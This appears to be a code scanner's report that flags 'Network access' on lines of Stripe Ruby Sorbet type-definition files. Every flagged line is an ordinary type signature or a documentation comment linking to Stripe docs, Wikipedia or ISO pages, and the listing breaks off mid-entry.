    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 56
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 57
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 104
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 105
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 106
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 193
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 194
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 195
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/location_update_params.rbi

  • Network accessline 12
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 13
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 14
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 32
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 33
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 34
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 55
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 56
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 57
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 104
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 105
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 106
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 193
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 194
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 195
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/reader_collect_inputs_params.rbi

  • Network accessline 140
    }       def inputs=(_inputs); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 141
    def inputs=(_inputs); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 142
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/reader_create_params.rbi

  • Network accessline 21
    sig { params(_location: T.nilable(String)).returns(T.nilable(String)) }       def location=(_location); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for stor
  • Network accessline 22
    def location=(_location); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual
  • Network accessline 23
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/reader_refund_payment_params.rbi

  • Network accessline 32
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 33
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 34
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/reader_set_reader_display_params.rbi

  • Network accessline 8
    class Cart < ::Stripe::RequestParams         class LineItem < ::Stripe::RequestParams           # The price of the item in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 9
    class LineItem < ::Stripe::RequestParams           # The price of the item in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).           sig { returns(Integer) }
  • Network accessline 10
    # The price of the item in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 26
    def initialize(amount: nil, description: nil, quantity: nil); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs
  • Network accessline 27
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 28
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 38
    }         def line_items=(_line_items); end         # The amount of tax in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 39
    def line_items=(_line_items); end         # The amount of tax in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(T.nilable(Integer)) }
  • Network accessline 40
    # The amount of tax in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 43
    sig { params(_tax: T.nilable(Integer)).returns(T.nilable(Integer)) }         def tax=(_tax); end         # Total balance of cart due in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 44
    def tax=(_tax); end         # Total balance of cart due in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(Integer) }
  • Network accessline 45
    # Total balance of cart due in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/terminal/reader_update_params.rbi

  • Network accessline 16
    sig { params(_label: T.nilable(String)).returns(T.nilable(String)) }       def label=(_label); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing addit
  • Network accessline 17
    def label=(_label); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 18
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/confirmation_token_create_params.rbi

  • Network accessline 70
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }             def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 71
    def city=(_city); end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 72
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 90
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }             def postal_code=(_postal_code); end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 91
    def postal_code=(_postal_code); end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 92
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 320
    class Promptpay < ::Stripe::RequestParams; end         class RadarOptions < ::Stripe::RequestParams           # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that hel
  • Network accessline 321
    class RadarOptions < ::Stripe::RequestParams           # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments
  • Network accessline 322
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 649
    }         def mb_way=(_mb_way); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 650
    def mb_way=(_mb_way); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k
  • Network accessline 651
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 773
    }         def promptpay=(_promptpay); end         # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 774
    def promptpay=(_promptpay); end         # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.         sig {
  • Network accessline 775
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 1013
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1014
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 1015
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1033
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1034
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 1035
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1103
    # Indicates that you intend to make future payments with this ConfirmationToken's payment method.       #       # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Pa
  • Network accessline 1104
    #       # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from t
  • Network accessline 1105
    # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user 

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/customer_fund_cash_balance_params.rbi

  • Network accessline 6
    module TestHelpers     class CustomerFundCashBalanceParams < ::Stripe::RequestParams       # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://
  • Network accessline 7
    class CustomerFundCashBalanceParams < ::Stripe::RequestParams       # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currenc
  • Network accessline 8
    # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to fund $1.00 or 100 to fund ¥100
  • Network accessline 11
    sig { params(_amount: Integer).returns(Integer) }       def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do
  • Network accessline 12
    def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 13
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 21
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # A description of the test funding. This simulates free-text references supplied by customers when making bank 
  • Network accessline 22
    def expand=(_expand); end       # A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm
  • Network accessline 23
    # A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm](https://docs.stripe.com/paymen

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_capture_params.rbi

  • Network accessline 240
    end           class Fuel < ::Stripe::RequestParams             # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 241
    class Fuel < ::Stripe::RequestParams             # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.             sig { returns(T.nilable(St
  • Network accessline 242
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 378
    ); end         end         # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs
  • Network accessline 379
    end         # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/cur
  • Network accessline 380
    # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_create_params.rbi

  • Network accessline 165
    end         class Fuel < ::Stripe::RequestParams           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 166
    class Fuel < ::Stripe::RequestParams           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.           sig { returns(T.nilable(String
  • Network accessline 167
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 202
    end         class MerchantData < ::Stripe::RequestParams           # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 203
    class MerchantData < ::Stripe::RequestParams           # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.           si
  • Network accessline 204
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 439
    ); end         end         # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 440
    end         # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns
  • Network accessline 441
    # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 444
    sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }         def amount=(_amount); end         # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](htt
  • Network accessline 445
    def amount=(_amount); end         # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(T.nilable(T
  • Network accessline 446
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 461
    sig { params(_card: String).returns(String) }         def card=(_card); end         # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-cu
  • Network accessline 462
    def card=(_card); end         # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported
  • Network accessline 463
    # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/
  • Network accessline 492
    }         def fuel=(_fuel); end         # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
  • Network accessline 493
    def fuel=(_fuel); end         # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.         sig { return
  • Network accessline 494
    # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
  • Network accessline 499
    }         def is_amount_controllable=(_is_amount_controllable); end         # The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies
  • Network accessline 500
    def is_amount_controllable=(_is_amount_controllable); end         # The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-deci
  • Network accessline 501
    # The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 504
    sig { params(_merchant_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }         def merchant_amount=(_merchant_amount); end         # The currency of the authorization. If not provided, defaults to the currency of the card. Three-l
  • Network accessline 505
    def merchant_amount=(_merchant_amount); end         # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase
  • Network accessline 506
    # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_finalize_amount_params.rbi

  • Network accessline 151
    end         class Fuel < ::Stripe::RequestParams           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 152
    class Fuel < ::Stripe::RequestParams           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.           sig { returns(T.nilable(String
  • Network accessline 153
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 192
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }         def expand=(_expand); end         # The final authorization amount that will be captured by the merchant. This amount is in the authorization 
  • Network accessline 193
    def expand=(_expand); end         # The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).    
  • Network accessline 194
    # The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_increment_params.rbi

  • Network accessline 12
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }         def expand=(_expand); end         # The amount to increment the authorization by. This amount is in the authorization currency and in the [sma
  • Network accessline 13
    def expand=(_expand); end         # The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(Integ
  • Network accessline 14
    # The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 17
    sig { params(_increment_amount: Integer).returns(Integer) }         def increment_amount=(_increment_amount); end         # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_a
  • Network accessline 18
    def increment_amount=(_increment_amount); end         # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorizati
  • Network accessline 19
    # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_reverse_params.rbi

  • Network accessline 12
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }         def expand=(_expand); end         # The amount to reverse from the authorization. If not provided, the full amount of the authorization will b
  • Network accessline 13
    def expand=(_expand); end         # The amount to reverse from the authorization. If not provided, the full amount of the authorization will be reversed. This amount is in the authorization currency and in the [smallest currency unit](https
  • Network accessline 14
    # The amount to reverse from the authorization. If not provided, the full amount of the authorization will be reversed. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/transaction_create_force_capture_params.rbi

  • Network accessline 8
    class TransactionCreateForceCaptureParams < ::Stripe::RequestParams         class MerchantData < ::Stripe::RequestParams           # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.
  • Network accessline 9
    class MerchantData < ::Stripe::RequestParams           # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.           si
  • Network accessline 10
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 301
    end           class Fuel < ::Stripe::RequestParams             # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 302
    class Fuel < ::Stripe::RequestParams             # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.             sig { returns(T.nilable(St
  • Network accessline 303
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 439
    ); end         end         # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 440
    end         # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(In
  • Network accessline 441
    # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 449
    sig { params(_card: String).returns(String) }         def card=(_card); end         # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency
  • Network accessline 450
    def card=(_card); end         # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported curre
  • Network accessline 451
    # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/transaction_create_unlinked_refund_params.rbi

  • Network accessline 8
    class TransactionCreateUnlinkedRefundParams < ::Stripe::RequestParams         class MerchantData < ::Stripe::RequestParams           # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.strip
  • Network accessline 9
    class MerchantData < ::Stripe::RequestParams           # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.           si
  • Network accessline 10
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 301
    end           class Fuel < ::Stripe::RequestParams             # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 302
    class Fuel < ::Stripe::RequestParams             # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.             sig { returns(T.nilable(St
  • Network accessline 303
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 439
    ); end         end         # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 440
    end         # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).         sig { returns(Int
  • Network accessline 441
    # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 449
    sig { params(_card: String).returns(String) }         def card=(_card); end         # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-
  • Network accessline 450
    def card=(_card); end         # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [support
  • Network accessline 451
    # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/transaction_refund_params.rbi

  • Network accessline 12
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }         def expand=(_expand); end         # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards c
  • Network accessline 13
    def expand=(_expand); end         # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).    
  • Network accessline 14
    # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/received_credit_create_params.rbi

  • Network accessline 53
    sig { params(_amount: Integer).returns(Integer) }         def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co
  • Network accessline 54
    def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 55
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 82
    }         def initiating_payment_method_details=(_initiating_payment_method_details); end         # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.strip
  • Network accessline 83
